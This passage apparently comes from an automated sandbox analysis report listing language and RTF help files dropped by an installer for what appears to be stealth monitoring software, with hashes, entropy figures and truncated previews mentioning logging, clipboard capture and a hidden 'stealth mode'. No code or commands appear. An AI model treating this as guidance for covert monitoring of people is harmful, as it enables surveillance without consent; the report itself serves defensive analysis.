Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\japan.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20198
Entropy (8bit):	5.546409615191028
Encrypted:	false
SSDEEP:	384:UZbTxZJZoqbCXEgYNOZFnXzLlWQIrNacguCX:UBsFXz5W1NaOCX
MD5:	CBEC3F081899B6B55B280D8F3DD4B3D2
SHA1:	F340F12DD49A6F6D2E20999788430A6951E7950B
SHA-256:	95C2CF8B3687D4EE57D51E982684660264A443D0AE516F6144728AC0C77FFCE4
SHA-512:	F4C7027A5BEDBC2F6E44DA52F59B35FAC8A3657DB9796F9B8BE4B660D25083544597ED525EEADD2B9373325E3E6FD83BD9736BAA8E50187F5F8CCFF989D6A140
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="...."..tbStartHint=".........."..tbStop="...."..tbStopHint=".........."..tbFind="...."..tbFindHint="........."..tbSetting=".."..tbSettingHint="........"..tbAbout="...."..tbAboutHint=".... /...."..tbHomePage="......"..tbHomePageHint="................"..tbToday=".."..tbTodayHint="........"..tbHide=".."..tbHideHint="....... (..................)"..tbMinimize="....."..tbMinimizeHint="........."..tbExit=".."..tbExitHint=".........."..gbLog=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\korean.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17281
Entropy (8bit):	5.761139641515786
Encrypted:	false
SSDEEP:	384:fA4WN9lOQy166uXz7tw7ROcW70cfgjqiK3xuaMV4Q:fAfy1LuntiROcWLNuaMVt
MD5:	BAF8BBC333EA4877FF98E6EC0437E18F
SHA1:	43FE338508BA6B1E59B5B0D21A641DEB4F887F82
SHA-256:	32CAC64ABA0B7BEC0C48D76CE6D6C3695E241173CAD408C4F2F220CB5AE6A87B
SHA-512:	5E2ED8A0DF57200E7FD2FF5F1F21041A3800AE92C66B550B91116D0E50685C3602467C738601D071049B1D3E74ED92DB2DAE5CE6D33F9776F8C2F62AA2E36C1E
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=".."..tbStartHint=".. .."..tbStop=".."..tbStopHint=".. ...."..tbFind=".."..tbFindHint=".. .. .."..tbSetting=".."..tbSettingHint=".... .."..tbAbout=".."..tbAboutHint=".. / .. .."..tbHomePage="...."..tbHomePageHint=".... ..... .."..tbToday=".."..tbTodayHint=".. ... .."..tbHide=".."..tbHideHint="... .. (... .... ... .. ..)"..tbMinimize="..."..tbMinimizeHint=".... ..."..tbExit=".."..tbExitHint=".... .. .."..gbLog="... .."..tCurrLogSize=".. .. (Mb)"..tCurrScrSize=".... .. (Mb)"..tCurrSnpSize=".. .

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19350
Entropy (8bit):	4.977328299832863
Encrypted:	false
SSDEEP:	192:UfZj6oFtyWJJJuou35vzX6FcNnAy9+1C9ou8drw+MjKcEdQAi2jC+WUH:UfZj6oFtyWXRybX6Ad4C9q+pEdbvXx
MD5:	05104FA93BC4180DCD6752F77382F263
SHA1:	2A83710D4B63BF666D681D3F5E9C21324EB2581C
SHA-256:	A2150D0BBC660122C1C183FCA420CFAAE7539956F20BA135DEC4655B3B212A6E
SHA-512:	54ACDEAB94D389256C90FFB31934AE0182D7CB4F644CA671EE5F9599697357244B7F2F9CEA33D3CBE70463615389BF02E148818F99E9513DAF9A4D44B05913CD
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="In.cio"..tbStartHint="Habilitar registro"..tbStop="Parar"..tbStopHint="Desabilitar registro"..tbFind="Buscar"..tbFindHint="Procurar por informa..o de registro"..tbSetting="Configura..es"..tbSettingHint=" Configura..es de programa"..tbAbout="Sobre"..tbAboutHint="Sobre / informa..es de registro"..tbHomePage="P.gina Inicial"..tbHomePageHint="Ir para a P.gina Inicial do Programa"..tbToday="Hoje"..tbTodayHint="Ir para o registro de hoje"..tbHide="Ocultar"..tbHideHint="Modo Furtivo (nenhum .cone na Bandeja do Sistema)"..tbMinimize="Minimizar"..tbMinimizeHint="Minimizar Bandeja"..tbExit="Sair"..tbExitHint="Sair e parar o registro"..gbLog="Registro de Eventos"..tCurrLogSize="Tamanho do Log - Registro (Mb)"..tCurrScrSize=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47337
Entropy (8bit):	5.026858098463381
Encrypted:	false
SSDEEP:	768:xaOfIRjZyPCtqICnfLBOHjiqlO8DTO+6X9MsHEW71vUGF87etnC+zc7R+ezr21gQ:xapnVMNkfS
MD5:	F4E08AB548997A7569D407BF6945FF93
SHA1:	374C962B0AD68A101B3DAED59995A904FD2366DF
SHA-256:	5F43BA173258F401DEBA2C385FC136464F11F0BF9C9122D5CB1EDDBBA356D24F
SHA-512:	9F6F81663CCC54ED4B6E57770247EBDE16327C46ACFE14EF01BC3CF1172D9647AFDBED40FA59115DD41BA746428368A34C4307AA4D7B0093C88D86F8C4BAA982
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40154
Entropy (8bit):	5.0200796695222865
Encrypted:	false
SSDEEP:	768:xoOfYRjCjOcPI0QhhiLVjLqPQcCTjwC9UqUkVuss8HD43p8ZHHuJf5:xobLUntNkf5
MD5:	8360940E8A2388A3DE31148F9ED5DCBF
SHA1:	6B44DF438877025970E59C226D3F3D347CCDC264
SHA-256:	AE905D395961C89647DF96F870FB8BFB199D72FF40BD62C6B95413C06CC03927
SHA-512:	1E58457C3359EEED8C187A5F60C09D6CFEAA3A995BE0FD3F22690A02383DF9DEFE5B60EFA1BF8B4FC0975B17683629292D3118DF670C4CBF1DF3141B73D4ACF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41900
Entropy (8bit):	5.016535633453485
Encrypted:	false
SSDEEP:	768:xoOfYRj7jOcPI0QhhiLV6qiTqP7Mi6uxPwjmkoASoGpngl4ZbbsVj72Q/za1CkCI:xobqUncV/QNkf8
MD5:	4610A71940E165CB27249C3133800D76
SHA1:	395941C9ECEE674429A1108075F9DD0A241CF28B
SHA-256:	AAE092EC9F04F37A0059D595A581A9818DB18A4247B95F237E20EED5571BC843
SHA-512:	D297B3B4AEA83E3107A0C799A238C40060BBF7247DEFEF0E179A2F61ADF06442BFC90577C705CAB0D3D2D0D12BD3C86F56C0B5ED971087C47A1973B54853DE32
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38831
Entropy (8bit):	5.022754170432963
Encrypted:	false
SSDEEP:	768:wMF2weYJK4J7bIWIRV9OOVQjwQ49PomsZ/HuJct9:wM3wJF4Zko9
MD5:	01A4A15CD5BE8B0E0E0B34200D995311
SHA1:	D30F6F8219B9B3E91F9D1D0C5283F94A6CF0F124
SHA-256:	D8A325D699C34E761833F16416EEBAAB43AA66454D08B7ECC40B4E5B89C1DF80
SHA-512:	7C968B597067F2E0D0645219A96284C9868298F184FBB479CE214E7F997C353817F079C40D8BC7F79AAAAC42AAF216D33ACEC6407F1B24E60DBA4876426A734F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68811
Entropy (8bit):	5.0062740217102695
Encrypted:	false
SSDEEP:	768:qMF2weRlqEW0TgegJ9Vte5iMSf3TDcbIWIRV9hMJu8WjbvH/o2ZuTCHF3wZxyiQg:qMChO5Nkf5
MD5:	9904281F0A850031B5DC777E69ACE68A
SHA1:	1B630CE1A72C6F2A1CB9C8B7A1FC81C2FD2ED3F0
SHA-256:	5888B749E1FC255BF39896EABE4B24B461BB4904549B1050AE8AE72296B72F11
SHA-512:	22C5E7E021B2428225E1595EBF628C83A97BCB76F7D52DD330F72F232E42B9BDAFCDB92A3B858909399700AC1A6FAED2A5A5138B1D66258937698D1684701905
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-2L042.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47337
Entropy (8bit):	5.026858098463381
Encrypted:	false
SSDEEP:	768:xaOfIRjZyPCtqICnfLBOHjiqlO8DTO+6X9MsHEW71vUGF87etnC+zc7R+ezr21gQ:xapnVMNkfS
MD5:	F4E08AB548997A7569D407BF6945FF93
SHA1:	374C962B0AD68A101B3DAED59995A904FD2366DF
SHA-256:	5F43BA173258F401DEBA2C385FC136464F11F0BF9C9122D5CB1EDDBBA356D24F
SHA-512:	9F6F81663CCC54ED4B6E57770247EBDE16327C46ACFE14EF01BC3CF1172D9647AFDBED40FA59115DD41BA746428368A34C4307AA4D7B0093C88D86F8C4BAA982
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-2LHUU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55605
Entropy (8bit):	5.01205567474232
Encrypted:	false
SSDEEP:	768:joOfxRl14hJboyQZFJiMJu8WjbvMuhisSnPLQStqICnfLrajKyISfle0anZf1L3v:joQxkONkfp
MD5:	2042C1CEA9DAB7F908912F3BFDF63E63
SHA1:	5584A50BCAF968B5EC85B230E9043456D38C8222
SHA-256:	D67F0917369F9D4C556E2F625566C239FEE4DDB6AEF1483DCB2556F23DD3785B
SHA-512:	B0C961BA725096E33D3B586951221A35A77A56D63E0003C301AD30F6D6DB94DF6853124EFE7FE8817F7EEF9F7972434AFC65010885BCE4A9BEFB60D7FF9A5679
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-2QKG2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43205
Entropy (8bit):	5.029790593334823
Encrypted:	false
SSDEEP:	768:joOfYRlj4lmbIWIRV9hiuFfmXYPxz7XzzMVFGqpJzVnz2T8VngbYh8snZHHuJfO:joblNkfO
MD5:	D4CB2191EA1740D821C8C26C19033BE6
SHA1:	3544CFF8E4BCF6BA57A63585AD6DAA2D244DC6D3
SHA-256:	7C075B420A250AC2F36DDAC2834B422FF8B858B0D6E02A9BF7AA5A40FFF6AB39
SHA-512:	D23AB39C0ABA07D99D7F03FAB498C2DADC81247FBC98DD758ABB94413041778BA5A83372F0F5AC20911B1C5F6B61313D6EBA26E966110F482B6B23D3BDAD94CF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-352RA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42824
Entropy (8bit):	5.034062607884397
Encrypted:	false
SSDEEP:	768:jFTmHRlU4U7bIWIRV9pqHjiqlO8Dxg+uoH6ewDiUpk8q8l9kSZHHuJfo:jFulNkfo
MD5:	800E7AD84A7B41C281A79786FEA7BA97
SHA1:	994E9061F0AC0F8D5A34B5456B3CB580216F08F6
SHA-256:	6D4DC10220486F098944FBCE97F8B5D03DA6157F7B59F79AF697D60AEDBDAC82
SHA-512:	887318DB58E88701D2B34B7E894EE2132684D0E3C724BC1B6EBA83C5987ECC1D7984018C8915AD0E7EE63E46C8C4258D7F286D2CE804DDFB37289F37676EB5F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-5T0L3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38881
Entropy (8bit):	5.021685226499464
Encrypted:	false
SSDEEP:	768:jnTmrRl+4AnbIWIRV9u6KSsouXIhUGD+hZCZHHuJfD:jnIZNkfD
MD5:	C105B94880EE7C216A6B9CB11680EE5F
SHA1:	DB8A5F0969428FC77D619742CF14E733281491EE
SHA-256:	1F56475447CBCFC209E9BC0BEF763423EA52CDBC4EBB989EC592025C907C8EAF
SHA-512:	18D9F4336DCD746E374B70D297F5F555745CCBFCDE08689B50BEF3C2CD7A7714867F747472240EE195161142C3DC8A93C985FE6D8D66D7F46878C25B45D99A67
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-622QE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40154
Entropy (8bit):	5.0200796695222865
Encrypted:	false
SSDEEP:	768:xoOfYRjCjOcPI0QhhiLVjLqPQcCTjwC9UqUkVuss8HD43p8ZHHuJf5:xobLUntNkf5
MD5:	8360940E8A2388A3DE31148F9ED5DCBF
SHA1:	6B44DF438877025970E59C226D3F3D347CCDC264
SHA-256:	AE905D395961C89647DF96F870FB8BFB199D72FF40BD62C6B95413C06CC03927
SHA-512:	1E58457C3359EEED8C187A5F60C09D6CFEAA3A995BE0FD3F22690A02383DF9DEFE5B60EFA1BF8B4FC0975B17683629292D3118DF670C4CBF1DF3141B73D4ACF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

